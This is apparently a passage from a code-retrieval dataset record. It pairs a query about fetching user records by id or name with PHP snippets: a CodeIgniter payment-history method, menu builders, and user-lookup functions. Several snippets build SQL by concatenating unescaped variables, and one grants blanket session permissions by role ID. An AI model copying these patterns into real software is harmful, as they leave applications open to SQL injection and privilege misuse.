VBA gegevens\"),\n );\n $rows[] = array(\n t(\"<a href= ezac/vba>Invoeren</a>\"),\n t(\"Invoeren verslagen en bevoegdheden\"),\n );\n\n $table = array(\n '#type' => 'table',\n '#caption' => t(\"EZAC administratie hoofdmenu\"),\n '#header' => $headers,\n '#rows' => $rows,\n '#empty' => t('Geen gegevens beschikbaar.'),\n '#sticky' => TRUE,\n '#prefix' => '<div id=\"menu-div\">',\n '#suffix' => '</div>',\n '#weight' => 2,\n );\n\n return $table;\n }", "public function addMenuItemsJavascript()\n {\n ?>\n <script>\n window.tinymce_submenus = window.tinymce_submenus || [];\n window.tinymce_submenus.push({\n id: '<?php echo $this->id ?>',\n label: '<?php echo $this->label ?>',\n items: '<?php echo str_replace(\"'\", \"\\\\'\", json_encode($this->items)) ?>'\n });\n </script>\n <?php\n }", "function make_menu($title) {;\t\n\t$menu = '<ul class=\"nav nav-pills\">';\n $menu .= get_menu_items($title);\n\t$menu .= '</ul>';\n\treturn $menu;\n}", "public function run()\n {\n $this->entries['dashboard'] = new Menu([\n 'name' => 'Yönetim Paneli',\n 'url' => '/dashboard',\n 'tooltip' => 'Sitenin Genel Yönetimi',\n 'weight' => 1,\n 'parent' => 0\n ]);\n\n $this->entries['articles'] = new Menu([\n 'name' => 'Makaleler',\n 'url' => '/articles',\n 'tooltip' => 'Makaleleri Yönetiniz',\n 'weight' => 3,\n 'parent' => 0\n ]);\n\n $this->entries['home'] = new Menu([\n 'name' => 'Ana Sayfa',\n 'url' => '/',\n 'tooltip' => '',\n 'weight' => 1,\n 'parent' => 0\n ]);\n\n $this->entries['about_us'] = new Menu([\n 'name' => 'Hakkımızda',\n 'url' => '/about-us',\n 'tooltip' => '',\n 'weight' => 2,\n 'parent' => 0\n ]);\n\n $this->entries['albums'] = new Menu([\n 'name' => 'Albümler',\n 'url' => '/albums',\n 'tooltip' => 'Albümlerinizi Yönetin',\n 'weight' => 5,\n 'parent' => 0\n ]);\n\n $this->entries['admin'] = new Menu([\n 'name' => 'Admin Panel',\n 'url' => '/admin',\n 'tooltip' => 'Sitenin genel ayarlarını yönetin',\n 'weight' => 2,\n 'parent' => 0\n ]);\n }", "function theme_haarlem_add_toggle_link(\\ElggMenuItem &$item) {\n\t$children = $item->getChildren();\n\tif (empty($children)) {\n\t\treturn;\n\t}\n\t$item->setText($item->getText() . elgg_view_icon('angle-right', 'elgg-menu-site-toggle'));\n\t\n\tforeach ($children as $child) {\n\t\ttheme_haarlem_add_toggle_link($child);\n\t}\n}", "function create_archive_nav_menu($arr) {\n // start the html\n $html = '<nav id=\"archmenuWP\">';\n $html .= '<ul class=\"archlev1 archmenu_list_years\" id=\"archmenu\">';\n $years = array_keys($arr);\n\t \n foreach($years as $y) {\n\t \n $html .= '<li id=\"archmenu_li_y_' . $y . '\">';\n $html .= make_link($y . ' (' . $arr[$y]['count'] . ')', make_url($y.'/'));\n $html .= '<span class=\"archmenu_ty archToggleButton\" id=\"archmenu_ty_' . $y . '\">+</span>'; // handle clicks with JS\n $html .= '</li>';\n unset($arr[$y]['count']);\n\t \n $months = array_keys($arr[$y]);\n $html .= '<ul class=\"archlev2 archmenu_list_months hidden\" id=\"archmenu_y_' . $y . '\">';\n\t \n foreach($months as $m) {\n\t$html .= '<li id=\"archmenu_li_y_' . $y . '_m_' . $m . '\">';\n\t$html .= make_link(monthname($m) . ' (' . $arr[$y][$m]['count'] . ')', make_url($y.'/'.$m.'/'));\n\t$html .= '<span class=\"archmenu_tm archToggleButton\" id=\"archmenu_ty_' . $y . '_tm_' . $m . '\">+</span>'; // handle clicks with JS\n\t$html .= '</li>';\n\tunset($arr[$y][$m]['count']);\n\t \n\t$entries = $arr[$y][$m];\n\t$html .= '<ul class=\"archlev3 archmenu_list_titles hidden\" id=\"archmenu_y_' . $y . '_m_' . $m . '\">';\n\tforeach($entries as $id => $entry) {\n\t\t\n\t $html .= '<li id=\"archmenu_li_id_' . str_replace('/','-',$id) . '\">'; # replace slashes with hyphens for id\n\t $html .= make_link($entry['title'], make_url($id));\n\t $html .= '</li>';\n\t}\n\t$html .= '</ul>';\n }\n $html .= '</ul>';\n }\n $html .= '</ul></nav>';\n return $html;\n }", "function generateOrderMenu($id, $meunAuthItemMap){\r\n if(isMenuVisible($meunAuthItemMap['warehouseOrder'], array('warehouse_id'=>$id))){\r\n return array('label' => '<i ></i> Order', 'url' => array('/orderHeader/admin&w_id='.$id), 'visible' => true);\r\n }\r\n else{\r\n return array();\r\n }\r\n}", "public function admin_menu_open() {\n\n\t\t$this->content = $this->render_template(\n\t\t\t'collections/js-holder.php', [\n\t\t\t\t'all_collections' => [],\n\t\t\t]\n\t\t);\n\t\t$this->header = $this->render_template( 'collections/header.php' );\n\t\techo $this->render_template( 'wrapper.php' );\n\n\t}", "private function bootstrapNav(?string $item): string {\n return static::coreHtmlElement(\"li\", $item, [\"role\" => \"presentation\"]);\n }", "function getMenuItems()\n {\n $this->menuitem(\"xp\", \"\", \"main\", array(\"xp.story\", \"admin\"));\n $this->menuitem(\"stories\", dispatch_url(\"xp.story\", \"admin\"), \"xp\", array(\"xp.story\", \"admin\"));\n }", "public function writeMenu() {}", "public function writeMenu() {}", "public function writeMenu() {}", "public function writeMenu() {}", "public function getMenus() {}", "public function add_menus()\n {\n }", "function menuItemHtml($itensMenu) {\n $menusHtml = '';\n foreach ($itensMenu as $menu) {\n\n // Se tiver itens dentro deste item de menu, cria o html deste menu do jeito q tera os itens dentro dele e chamando o proprio metodo para montar o html com os itens.\n if ($menu['itensMenu'] && count($menu['itensMenu']) > 0) {\n $url = ($menu['mnulink']) ? $menu['mnulink'] : '#';\n\n $menusHtml .= '<li class=\"dropdown-submenu\">';\n $menusHtml .= '<a href=\"' . $url . '\" tabindex=\"-1\">' . $menu['mnutransacao'];\n $menusHtml .= '<ul class=\"dropdown-menu\">';\n\n // Caso tenha mais itens de menu, chama o mesmo metodo para montar o html destes itens menus de maneira recursivamente até acabar os itens.\n $menusHtml .= menuItemHtml($menu['itensMenu']);\n\n $menusHtml .= '</ul>';\n $menusHtml .= '</a>';\n $menusHtml .= '</li>';\n\n // Se não tiver itens de menu ele cria o html no formato de item de menu sem mais itens dentro dele.\n } else {\n $url = ($menu['mnulink']) ? $menu['mnulink'] : '#';\n $menusHtml .= '<li>';\n $menusHtml .= '<a href=\"' . $url . '\">' . $menu['mnutransacao'] . '</a>';\n $menusHtml .= '</li>';\n }\n }\n\n return $menusHtml;\n }", "public function makeMenu($menu) {\n $out = array();\n $out[] = \"<div class=\\\"btn-group pull-left\\\">\";\n\n foreach($menu as $mx) {\n $i = 0;\n foreach($mx as $m) {\n $i ++;\n switch ($i) {\n case 1 :\n $icon = $m['icon'];\n $out[] = \"<a class=\\\"btn dropdown-toggle\\\" data-toggle=\\\"dropdown\\\" href=\\\"{$m['url']}\\\">\";\n $out[] = $this->makeIcon($icon[0], $icon[1]);\n $out[] = \"<span class=\\\"hidden-phone\\\">{$m['text']}</span><span class=\\\"caret\\\"></span></a>\";\n $out[] = \"<ul class=\\\"dropdown-menu\\\">\";\n break;\n default :\n foreach($m as $mi) {\n if (in_array('divider', $mi)) {\n $out[] = '<li class=\"divider\"></li>';\n continue;\n }\n $icon = $mi['icon'];\n $out[] = \"<li><a href=\\\"{$this->baseurl}{$mi['url']}\\\">\" .\n $this->makeIcon($icon[0], $icon[1]) .\n \" {$mi['text']}</a></li>\";\n }\n }\n $out[] = \"</ul></div>\";\n }\n }\n return implode(\"\\n\", $out);\n }", "protected function renderMenuRecursive($items)\n {\n $count = 0;\n $n = count($items);\n foreach($items as $item)\n {\n $count++;\n $options = isset($item['itemOptions']) ? $item['itemOptions'] : array();\n $class = array();\n if($item['active'] && $this->activeCssClass != '')\n $class[] = $this->activeCssClass;\n if($count === 1 && $this->firstItemCssClass !== null)\n $class[] = $this->firstItemCssClass;\n if($count === $n && $this->lastItemCssClass !== null)\n $class[] = $this->lastItemCssClass;\n if($this->itemCssClass !== null)\n $class[] = $this->itemCssClass;\n if($class !== array())\n {\n if(empty($options['class']))\n $options['class'] = implode(' ', $class);\n else\n $options['class'].=' '.implode(' ', $class);\n }\n\n echo CHtml::openTag('li', $options);\n\n $menu = $this->renderMenuItem($item);\n if(isset($this->itemTemplate) || isset($item['template']))\n {\n $template = isset($item['template']) ? $item['template'] : $this->itemTemplate;\n echo strtr($template, array('{menu}' => $menu));\n }\n else\n echo $menu;\n\n if(isset($item['items']) && count($item['items']))\n {\n if($this->submenuTemplate)\n $template = $this->submenuTemplate;\n else\n $template = \"\\n{container}\\n{items}{/container}\\n\";\n\n $template = strtr($template, array(\n '{container}' => CHtml::openTag('ul', isset($item['submenuOptions']) ? $item['submenuOptions'] : $this->submenuHtmlOptions),\n '{/container}' => CHtml::closeTag('ul'),\n ));\n ob_start();\n $this->renderMenuRecursive($item['items']);\n $submenuHtml = ob_get_contents();\n ob_end_clean();\n $template = strtr($template,array('{items}'=>$submenuHtml));\n echo $template;\n }\n\n echo CHtml::closeTag('li').\"\\n\";\n }\n }", "public function getCreateMenuItems() {\n $items = [];\n $model = new \\wdmg\\admin\\models\\Modules();\n $modules = $model::getModules(true);\n $menuItems = $this->module->getCreateMenuItems();\n\n foreach ($menuItems as $moduleId => $menu) {\n foreach ($modules as $module) {\n\n // Check the presence of the module identifier among the available packages\n if ($moduleId == $module['name']) {\n if ($module = Yii::$app->getModule('admin/'. $module['module'], false)) {\n\n // Add items for create menu in Dashboard\n if (isset($menu['label']) && isset($menu['url'])) {\n $items[] = [\n 'label' => Yii::t('app/modules/admin', $menu['label']),\n 'url' => $menu['url']\n ];\n } else if (is_array($menu)) {\n foreach ($menu as $item) {\n if (isset($item['label']) && isset($item['url'])) {\n $items[] = [\n 'label' => Yii::t('app/modules/admin', $item['label']),\n 'url' => $item['url']\n ];\n }\n }\n }\n }\n }\n }\n }\n\n return $items;\n }", "public function auto_build_items($item_list,$data){\r\n\t\treturn\r\n\t\t\t ($this->model->crud_config['can_create'] ? \r\n\t\t\t \tComponent::add_button($this->model->table_name) : '').\r\n\t\t\t'<div class=\"row col-md-12 centered\">'.$item_list.'</div>';\r\n\t}", "function showIndex() {\n $menu = $this->getArray(\"sys_menu_group\", \"status=1\", \"position asc\");\n $scriptdisplay = '';\n if (count($menu) > 0)\n foreach ($menu as $value) {\n $classidv = \"box_\" . $value[\"id\"] . \"\";\n//echo $$classidv;\n//echo $$classidv=\"style='display:none'\";\n $submenu = $this->getArray('sys_table', \"menu=1 AND menu_group_id='\" . $value[\"id\"] . \"'\", 'position asc');\n if (count($submenu) > 0) {\n echo \"<div id='box' class='\" . $classidv . \"' style='display:none'>\n\n\n\n\n\n\n\n <div id='boxTop' style='background:url(..\" . $value['picture'] . \") 15px 2px no-repeat;'>\n\n\n\n\n\n\n\n <div id='boxTopInside'><a href=\\\"#\\\" class='' title=\\\"\" . stripslashes($value[\"title\"]) . \"\\\">\" . stripslashes($value[\"title\"]) . \"</a></div></div>\";\n echo \"<div id='boxMiddle'><div>\";\n $i = 0;\n foreach ($submenu as $v) {\n $id = $v['id'];\n if ($_SESSION['permission'][$id]['is_list']) {\n if ($i == 0) {\n $scriptdisplay .= \"<script>\n\n\n\n\n\n\n\n \t \t\tjQuery('.\" . $classidv . \"').css({'display':'block'});\n\n\n\n\n\n\n\n \t \t</script>\";\n }\n echo '<div id=\"item\"><a id=\"item\" href=\"' . (($v['custom_link']) ? $v['custom_link'] : 'mngMain.php') . '?table_name=' . stripslashes($v[\"table_name\"]) . '\">' . $v['title'] . '</a></div>';\n $i++;\n }\n }\n echo \"</div><div id='clear'></div></div>\";\n echo \"<div id='boxBottom'></div><div id='clear'></div></div>\";\n }\n }\n echo \"<div id='clear'></div>\";\n echo $scriptdisplay;\n }", "public function run()\n {\n\n // Categoria Monitoramento\n $seguranca = MenuItem::create([\n 'mit_mod_id' => 1,\n 'mit_nome' => 'Segurança',\n 'mit_icone' => 'fa fa-lock',\n 'mit_ordem' => 1\n ]);\n\n // Item Dashboard\n MenuItem::create([\n 'mit_mod_id' => 1,\n 'mit_nome' => 'Dashboard',\n 'mit_item_pai' => $seguranca->mit_id,\n 'mit_icone' => 'fa fa-tachometer',\n 'mit_rota' => 'seguranca.index.index',\n 'mit_ordem' => 1\n ]);\n\n // Subcategoria Cadastros\n $cadastros = MenuItem::create([\n 'mit_mod_id' => 1,\n 'mit_nome' => 'Cadastros',\n 'mit_item_pai' => $seguranca->mit_id,\n 'mit_icone' => 'fa fa-plus',\n 'mit_ordem' => 2\n ]);\n\n // Itens de cadastros\n MenuItem::create([\n 'mit_mod_id' => 1,\n 'mit_item_pai' => $cadastros->mit_id,\n 'mit_nome' => 'Perfis',\n 'mit_icone' => 'fa fa-user-secret',\n 'mit_rota' => 'seguranca.perfis.index',\n 'mit_ordem' => 1\n ]);\n\n MenuItem::create([\n 'mit_mod_id' => 1,\n 'mit_item_pai' => $cadastros->mit_id,\n 'mit_nome' => 'Usuarios',\n 'mit_icone' => 'fa fa-users',\n 'mit_rota' => 'seguranca.usuarios.index',\n 'mit_ordem' => 2\n ]);\n\n MenuItem::create([\n 'mit_mod_id' => 1,\n 'mit_item_pai' => $cadastros->mit_id,\n 'mit_nome' => 'Permissões',\n 'mit_icone' => 'fa fa-unlock',\n 'mit_rota' => 'seguranca.permissoes.index',\n 'mit_ordem' => 3\n ]);\n\n MenuItem::create([\n 'mit_mod_id' => 1,\n 'mit_item_pai' => $cadastros->mit_id,\n 'mit_nome' => 'Itens de Menu',\n 'mit_icone' => 'fa fa-gear',\n 'mit_rota' => 'seguranca.menuitens.index',\n 'mit_ordem' => 4\n ]);\n }", "protected function renderMenuRecursive($items)\n {\n $count=0;\n $n=count($items);\n foreach($items as $item)\n {\n if($item == array())\n continue;\n $count++;\n $options=isset($item['itemOptions']) ? $item['itemOptions'] : array();\n $class=array();\n// if($item['active'] && $this->activeCssClass!='')\n// $class[]=$this->activeCssClass;\n if($count===1 && $this->firstItemCssClass!='')\n $class[]=$this->firstItemCssClass;\n if($count===$n && $this->lastItemCssClass!='')\n $class[]=$this->lastItemCssClass;\n if($class!==array())\n {\n if(empty($options['class']))\n $options['class']=implode(' ',$class);\n else\n $options['class'].=' '.implode(' ',$class);\n }\n\n if(isset($item['items']) && count($item['items']))\n {\n if(empty($options['class']))\n $options['class']=$this->dirCssClass;\n else\n $options['class'].=' '.$this->dirCssClass;\n }\n $item['linkOptions'] = array_merge((array)$item['linkOptions'], $options);\n \n echo CHtml::openTag('li');\n\n $menu=$this->renderMenuItem($item);\n if(isset($this->itemTemplate) || isset($item['template']))\n {\n $template=isset($item['template']) ? $item['template'] : $this->itemTemplate;\n echo strtr($template,array('{menu}'=>$menu));\n }\n else\n echo $menu;\n\n if(isset($item['items']) && count($item['items']))\n {\n echo \"\\n\".CHtml::openTag('ul',isset($item['submenuOptions']) ? $item['submenuOptions'] : $this->submenuHtmlOptions).\"\\n\";\n $this->renderMenuRecursive($item['items']);\n echo CHtml::closeTag('ul').\"\\n\";\n }\n\n echo CHtml::closeTag('li').\"\\n\";\n }\n }", "function print_icones_action($tpl,$varname='icones_action',$items=array(),$id='') {\n if (empty($id)) $id=$varname;\n\n $res=\"<div id=\\\"$id\\\"><ul class=\\\"menu_niveau2\\\" >\";\n foreach ($items as $item) {\n $res.= print_menu_item2($tpl,false,$item);\n }\n //print_r($res);\n if ($tpl && $varname)\n \t\t$tpl->assign($varname, $res.\"</ul></div>\");\n \telse return $res;\t\n\n}", "function start_el(&$output, $item, $depth=0, $args=array(), $id = 0) {\n $object = $item->object;\n $type = $item->type;\n $title = $item->title;\n $description = $item->description;\n $permalink = $item->url;\n \n $output .=\"<li class='\" . implode(\" \", $item->classes) . \"'>\";\n // loop\n \n \n // vars\n $fa_style = \"fas\";\n $icon = get_field('icon', $item);\n $cat_filter = get_field('cat_filter', $item);\n $output .= '<a href=\"' . $permalink . '\"';\n $output .= 'data-filter=\".' . $cat_filter . '\">';\n $output .= '<i class=\"'.$fa_style . ' '.$icon.'\"></i>';\n $output .= $title;\n $output .= '</a>';\n \n }", "function menuPrepareItems(&$items) {\n foreach ($items as &$item) {\n $item['active'] = menuItemIsActive($item['url']) ? 'active' : 'inactive';\n }\n\n return $items;\n}", "function showMenu($page) {\n $menu = $this->getArray('sys_menu_group', 'status=1', 'position asc');\n $strscript = '';\n echo '<div id=\"myslidemenu\" class=\"jqueryslidemenu\">';\n if (count($menu) > 0) {\n echo '<ul>';\n foreach ($menu as $value) {\n $classUL = 'li_' . $value[\"id\"] . '';\n echo '<li class=\"' . $classUL . '\" style=\"display:none\"><span style=\"float:left; padding:8px 30px; border-right:1px solid #ccc; cursor: pointer;\">' . $value[\"title\"] . '</span>';\n $submenu = $this->getArray('sys_table', \"menu=1 AND menu_group_id='\" . $value[\"id\"] . \"'\", 'position asc');\n if (count($submenu) > 0) {\n echo '<ul class=\"sub\">';\n $ili = 0;\n foreach ($submenu as $v) {\n $id = $v['id'];\n if ($_SESSION[\"user_login\"][\"role_id\"] == 11) {\n $_SESSION['permission'][$id]['is_list'] = 1;\n $_SESSION['permission'][$id]['is_edit'] = 1;\n $_SESSION['permission'][$id]['is_insert'] = 1;\n $_SESSION['permission'][$id]['is_delete'] = 1;\n }\n if ($_SESSION['permission'][$id]['is_list']) {\n if ($ili == 0) {\n $strscript .= \"<script>\n\n\n\n\n\n\n\n\t\t\t\t\t\t\t\t\t\t\tjQuery('.\" . $classUL . \"').css({'display':'block'});\n\n\n\n\n\n\n\n\t\t\t\t\t\t\t\t\t\t</script>\";\n }\n echo \"\";\n echo '<li><a class=\"sub\" href=\"' . (($v['custom_link']) ? $v['custom_link'] : 'mngMain.php') . '?table_name=' . stripslashes($v[\"table_name\"]) . '\">' . $v[\"title\"] . '</a></li><br/>';\n $ili++;\n }\n//echo '<li><a class=\"sub\" href=\"mngMain.php?table_name='.stripslashes($v[\"table_name\"]).'\">'.$v[\"table_name\"].'</a></li>';\n }\n echo '</ul>';\n }\n echo '</li>';\n }\n echo '</ul>';\n }\n echo $strscript;\n echo '</div>';\n }", "function __foreach_loop__id_53d1c6858f547($option=array())\n{\nglobal $bw,$vsPrint;\n $BWHTML = '';\n $vsf_count = 1;\n $vsf_class = '';\n if(is_array($option['pageList'])){\n foreach( $option['pageList'] as $obj )\n {\n $vsf_class = $vsf_count%2?'odd':'even';\n $BWHTML .= <<<EOF\n \n<div class=\"col-md-12 col-sm-12 col-xs-12\">\n<div class=\"QuestionAsk\">\n<div class=\"col-md-12 col-sm-12 col-xs-12 bgQuestion\">\n<h2 class=\"iconQuestions\">\n{$obj->getTitle()}\n</h2>\n</div>\n<div class=\"col-md-12 col-sm-12 col-xs-12 \" id=\"padding\">\n<div class=\"panel-group\" id=\"accordion\">\n<div class=\"panel panel-default\">\n<div class=\"panel-heading\">\n <h4 class=\"panel-title\">\n<a class=\"accordion-toggle collapsed\" data-toggle=\"collapse\" data-parent=\"#accordion\" href=\"#acc_{$obj->getId()}\">\n Trả lời\n</a>\n </h4>\n</div>\n<div id=\"acc_{$obj->getId()}\" class=\"panel-collapse collapse BGGray\">\n <div class=\"panel-body\">\n{$obj->getContent()}\n </div>\n</div>\n</div>\n</div>\n</div>\n</div>\n</div>\n\nEOF;\n$vsf_count++;\n }\n }\n return $BWHTML;\n}", "static function menuBuild($obj, $parent=0){\n if(!empty($obj)){\n $response = '<ul>';\n\n foreach($obj as $items){\n $checked = !empty($items->user_levels_id)?' checked ':'';\n $response .= '<li><label for=\"nav'.$items->id.'\"><input type=\"checkbox\" name=\"nav_id[]\" id=\"nav'.$items->id.'\" value=\"'.$items->id.'\"'. $checked .' > '.$items->name.'</label>';\n if (!empty($items->children)){\n $response .= self::menuBuild($items->children, $items->id);\n }\n $response .= '</li>';\n }\n\n $response .= '</ul>';\n\n return $response;\n\n }else{\n return \"Sorry No data found\";\n }\n }", "function minorite_item_list($variables) {\n $items = $variables['items'];\n $type = $variables['type'];\n $attributes = $variables['attributes'];\n $output = '';\n\n if (!empty($items)) {\n $output = \"<$type\" . drupal_attributes($attributes) . '>';\n $num_items = count($items);\n foreach ($items as $item) {\n $attributes = array();\n $children = array();\n $data = '';\n if (is_array($item)) {\n foreach ($item as $key => $value) {\n if ($key == 'data') {\n $data = $value;\n }\n elseif ($key == 'children') {\n $children = $value;\n }\n else {\n $attributes[$key] = $value;\n }\n }\n }\n else {\n $data = $item;\n }\n if (count($children) > 0) {\n // Render nested list.\n $data .= minorite_item_list(array('items' => $children, 'title' => NULL, 'type' => $type, 'attributes' => $attributes));\n }\n $output .= '<li' . drupal_attributes($attributes) . '>' . $data . \"</li>\\n\";\n }\n $output .= \"</$type>\";\n }\n\n return $output;\n}" ]
[ "0.6325584", "0.5737215", "0.566524", "0.566524", "0.566524", "0.566524", "0.566524", "0.566524", "0.5544741", "0.5541232", "0.55274785", "0.5511908", "0.5474864", "0.5455559", "0.54525465", "0.54476434", "0.5440442", "0.5411988", "0.54038256", "0.5398209", "0.5396687", "0.5390701", "0.5383247", "0.53783154", "0.53237134", "0.5312225", "0.5309012", "0.5289997", "0.5284069", "0.5283889", "0.5272212", "0.524506", "0.52424747", "0.52324915", "0.5220363", "0.5212127", "0.5206923", "0.5202028", "0.51944846", "0.51907676", "0.51791495", "0.5164906", "0.51645195", "0.51575065", "0.515732", "0.5155542", "0.51526165", "0.5146664", "0.51349276", "0.5129038", "0.5113128", "0.51099926", "0.51053935", "0.5099615", "0.5092412", "0.50901866", "0.5081683", "0.50812715", "0.50812036", "0.5071647", "0.50572526", "0.5051481", "0.50475436", "0.5045711", "0.50403446", "0.5037545", "0.503333", "0.5014251", "0.5013667", "0.49939683", "0.49860793", "0.49805495", "0.4975926", "0.49690312", "0.4964957", "0.49642634", "0.4959382", "0.49529424", "0.49469003", "0.49443328", "0.49425626", "0.49425626", "0.49423867", "0.49372435", "0.49235559", "0.49174058", "0.49133024", "0.49068254", "0.4890269", "0.48898965", "0.48892796", "0.48844045", "0.4882894", "0.4880153", "0.48746076", "0.48663148", "0.4864204", "0.48616672", "0.48479342", "0.4846379" ]
0.7483723
0
get al reacords with given user id or userName from database
public function getPlayerPaymentHistory($nameAndId) { $this->db->select('*'); $this->db->from('playerPayment'); $this->db->where('userRole', 'player'); $this->db->join('user', 'user.userId = playerPayment.playerId'); if ($nameAndId["playerId"] != "") { $this->db->where('userId', $nameAndId["playerId"]); } if ($nameAndId["playerName"] != "") { $this->db->like('userName', $nameAndId["playerName"], 'after'); } if ($nameAndId["playerId"] != "" || $nameAndId["playerName"] != "") { $query = $this->db->get(); return $query->result(); } else { return -1; //returning -1 if not any input presented used for conditional rendering in view } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function findByUser($id) {\n\t $this->db->select('*')\n\t ->from($this->getSource())\n\t ->where(\"userId = ?\");\n\t \n\t $this->db->execute([$id]);\n\t return $this->db->fetchAll();\n\t}", "public function readByUser(){\n //select all query\n $query = \"SELECT * FROM \" . $this->table_name . \" WHERE id_user=:id_user\";\n\n //perpare query\n $stmt = $this->conn->prepare($query);\n\n //sanitize\n $this->id_user=htmlspecialchars(strip_tags($this->id_user));\n\n //bind given value\n $stmt->bindparam(\":id_user\", $this->id_user);\n\n $stmt->execute();\n\n return $stmt;\n }", "function search($id){\n\t\tglobal $con;\n\t\t$query = \"select * from user where id = '$id'\";\n\t\t$res=$con->query($query);\n\t\treturn $res;\n\t}", "public function read_by_id(){\n try {\n $userid = $this->id;\n\n // query to get specific users\n $this->_query = \"SELECT * FROM \" . $this->_dbtable . \" WHERE id=:userid\";\n\n\n // preparing query\n $statement = $this->_conn->prepare($this->_query);\n\n //binding params\n $statement->bindParam(\":userid\", $userid, PDO::PARAM_INT);\n\n // executing query\n $statement->execute();\n\n return $statement;\n }\n catch(PDOException $ex){\n echo \"Error\" . $ex->getMessage();\n }\n }", "public function getUserData($userId)\n {\n\n $db = $this->getDb();\n\n $sql = <<<SQL\nSELECT\n core_person_rowid as person_id,\n core_person_firstname as firstname,\n core_person_lastname as lastname,\n buiz_role_user_name as user_name\nFROM\n view_person_role\nWHERE\n buiz_role_user_rowid = {$userId}\n\nSQL;\n\n // gleich den Datensatz zurückgeben\n return $db->select($sql)->get();\n\n }", "public function findForUser($userId);", "public function findForUser($userId);", "public function findUsers();", "public function findUsers();", "public function allReadForUser($userId);", "function getuserdetails($u_id)\n{\n\t$sql=\"select * from user_table where u_id=$u_id\";\n\tforeach($GLOBALS['db']->query($sql) as $row);\n\treturn $row;\n}", "function getUserId($user_name){\n return sqlSelectOne(\"SELECT * FROM users WHERE user_username='$user_name'\", 'user_id');\n}", "public function allForUser($userId);", "public function allForUser($userId);", "function loadUser($user_id)\n\t\t{\n\t\t\t$query=sqlite_query($this->connection, \"SELECT name FROM user WHERE user_id='$user_id'\");\n\t\t\treturn $query;\n\t\t}", "public function getAll($id_user)\r\n\t{\r\n\r\n\t\t$sql = new Sql($this->dbAdapter);\r\n\t\t$select = $sql->select();\r\n\t\t$select->from('users');\r\n\t\t$select->columns(array('id', 'email'));\r\n\t\r\n\t\t$select->join(array('u_d' => 'users_details'),'users.id = u_d.id_user', array('id_user','name','surname', 'campus', 'phone', 'addres','image','pin','key_inventory'), 'Left');\r\n\r\n\t\t$select->join(array('a_u'=>'addresses_users'),'users.id = a_u.id_users', array('postalcode'), 'Left');\r\n\r\n\t\t$select->where(array('users.id' =>$id_user ));\r\n\r\n\t\t$selectString = $sql->getSqlStringForSqlObject($select);\r\n $execute = $this->dbAdapter->query($selectString, Adapter::QUERY_MODE_EXECUTE);\r\n $result=$execute->toArray(); \r\n\r\n\t\t//echo \"<pre>\";print_r($result);exit;\r\n\t\treturn $result;\r\n\r\n\t}", "function searchUser()\t{\n\t\t$position = mt_rand(1, $this->rnd_users_number);\n $query = \"select user from \".self::RNDUSERSC_NAME.\" where id=\".$position;\n if ($result = $this->db_conn->query($query)) {\n $row = $result->fetch_assoc();\n return $row[\"user\"];\n }\n else {\n die (\"Error sending the query '\".$query.\"' to MySQL\");\n }\n\t}", "public function find($id_user){\n //-- return all query and use the object result in update-profile\n return $find = mysql_query(\"SELECT id_user, id_city, id_rol, image, username, lastname_1, lastname_2, gender, birthday, email, password, street, number_home,location, zip FROM users WHERE id_user='\".$id_user.\"' LIMIT 1\"); \n }", "function get_by_user_id($user_id) {\n $this->db->where('user_id', $user_id);\n $this->db->from('user');\n $resc = $this->db->get();\n return $resc->row_array();\n }", "function get_data_by_idUser($table,$kode){\n\t\t/*$hasil=$this->db->query(\"SELECT * FROM user WHERE username='\".$kode.\"'\");\n\t\tif($hasil->num_rows()>0){\n\t\tforeach($hasil->result() as $row){\n\t\t\t$data[]=$row;\n\t\t}\n\t\treturn $data;*/\n\t\t\n\t\t$this->db->where('username',$kode);\n\t\treturn $this->db->get($table);\n\t}", "public function SelectUser($userId) \n\t{\n $sql = \"SELECT userid, siteuserid, email, firstname, middlename, lastname, role, phoneres, phonecell, isactive, islocked, comments,createdon\"\n . \" FROM user \"\n . \" WHERE userid LIKE '\" . $userId . \"' \"\n . \" LIMIT 1\";\n \n\t\t//print_r($sql);\n return parent::queryFirst($sql);\n }", "public function retrieve_user($user)\n{\t\t\n $uid=$user->__get('uid');\n\t$con = connect();\n\t$q1 = mysqli_query($con, \"SELECT * FROM user WHERE UId = '$uid'\");\n\treturn $q1;\n}", "function _getFromGebruikersDb($user)\n {\n $conn = getConn();\n $sql = \"SELECT Gebruikersnaam, Wachtwoord, Rol FROM Gebruiker WHERE \nGebruikersnaam = ?;\";\n $stmt = sqlsrv_prepare($conn, $sql, array($user));\n if (!$stmt) {\n die(print_r(sqlsrv_errors(), true));\n }\n sqlsrv_execute($stmt);\n if (sqlsrv_execute($stmt)) {\n while ($row = sqlsrv_fetch_array($stmt, SQLSRV_FETCH_ASSOC)) {\n $this->name_db = $row['Gebruikersnaam'];\n $this->pass_db = $row['Wachtwoord'];\n $this->role_db = $row['Rol'];\n }\n }\n }", "function getById($userId){\r\n\r\n\t\treturn $this->db->query(\"SELECT * FROM `users` WHERE `id`='$userId'\")->getResult();\r\n\t}", "public function selectuser(){\r\n\t\t$query = \"SELECT * FROM users\";\r\n\t\t$add_query = parent::get_results($query);\r\n\t\t\r\n\t\treturn $add_query;\r\n\t\t// echo '<pre>';\r\n\t\t// print_r( $add_query );\r\n\t\t// echo '</pre>';\r\n\t\t// exit;\r\n\t}", "public function findUserById()\n {\n $this->db->query('SELECT * FROM user WHERE id = :id');\n $this->db->bind(':id', $_SESSION['id']);\n \n $row = $this->db->single();\n \n return $row; \n }", "function search($id){\n\t\tglobal $conn;\n\t\t$sql = \"SELECT * FROM user where id=$id\";\n\t\t$stmt = $conn->prepare($sql);\n\t\t$r = $conn->query($sql);\n\t\treturn $r;\n\t}", "public function get_user_note_by_only_noteID($note_id,$user_id, $validate=true){\n $sql = 'select * from notes AS N';\n $sql .=' JOIN notes_subject AS S';\n $sql .=' ON S.note_id =' .\"'\".self::$database->escape_string($note_id) .\"'\";\n $sql .=' AND N.note_id = S.note_id JOIN notes_tag AS T ON T.note_id = '.\"'\". self::$database->escape_string($note_id) .\"' \";\n // login user can not access notes of other users\n if($validate){\n $sql .='WHERE N.access_type =' . \"'Public' \";\n $sql .='OR N.user_id =' . \"'\".h($user_id).\"'\";\n }\n // echo $sql;\n return static::find_by_sql($sql);\n}", "function getUserById(){\n\t \n\t $sql = \"SELECT * FROM users WHERE User_id=\" . $User_id;\n\t $req = Database::getBdd()->prepare($sql);\n\t \n\t return $req->execute($sql);\n}", "function get_user_by_user_name($user_name)\n{\n global $conn;\n $q['query'] = \"SELECT * FROM `user_master` WHERE `user_name`='$user_name'\";\n $q['run'] = 